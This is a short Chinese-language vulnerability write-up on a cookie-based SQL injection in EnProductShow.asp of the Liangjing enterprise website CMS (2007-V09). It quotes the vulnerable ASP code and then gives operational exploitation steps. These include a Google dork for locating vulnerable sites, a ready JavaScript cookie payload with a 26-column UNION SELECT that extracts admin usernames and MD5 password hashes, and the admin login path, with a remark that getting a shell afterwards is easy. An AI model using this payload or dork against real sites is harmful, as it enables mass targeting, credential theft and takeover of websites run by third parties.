良精企业网站管理系统Sql注入漏洞
Author:Tr4c3[at]126[dot]com
http://www.nspcn.org
http://www.tr4c3.com
涉及版本:良精企业网站管理系统(2007-V09)官方正式商业版
其他版本未做测试
漏洞文件:
EnProductShow.asp
漏洞描述:
变量ID信任客户端提交值,带入sql语句查询,程序用了通用SQL防注入程序,详细见Check_Sql.asp。关键代码如下
****************************************************************************
ID=trim(request("ID"))
if ID="" then
response.Redirect("EnProduct.asp")
end if
sql="select * from Product where ID=" & ID & ""
Set rs= Server.CreateObject("ADODB.Recordset")
rs.open sql,conn,1,3
if rs.bof and rs.eof then
response.write"<SCRIPT language=JavaScript>alert('找不到此产品!');"
response.write"javascript:history.go(-1)</SCRIPT>"
else
rs("Hits")=rs("Hits")+1
rs.update
****************************************************************************
Check_Sql.asp仅对GET和POST的数据进行了过滤,忽略了Cookie
利用方法:
Google搜索关键字 inurl:"EnProductShow.asp?id="
cookie注入,支持union,Product表26个字段,演示如下
http://www.Tr4c3.com/EnProductShow.asp?ID=229
javascript:alert(document.cookie="id="+escape("229 union select 0,1,2,3,4,5,6,username,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from admin"))
http://www.tr4c3.com/EnProductShow.asp
即可union出管理员帐号,密码(md5值)
后台地址
/admin/login.asp
后台拿shell方法很多。略过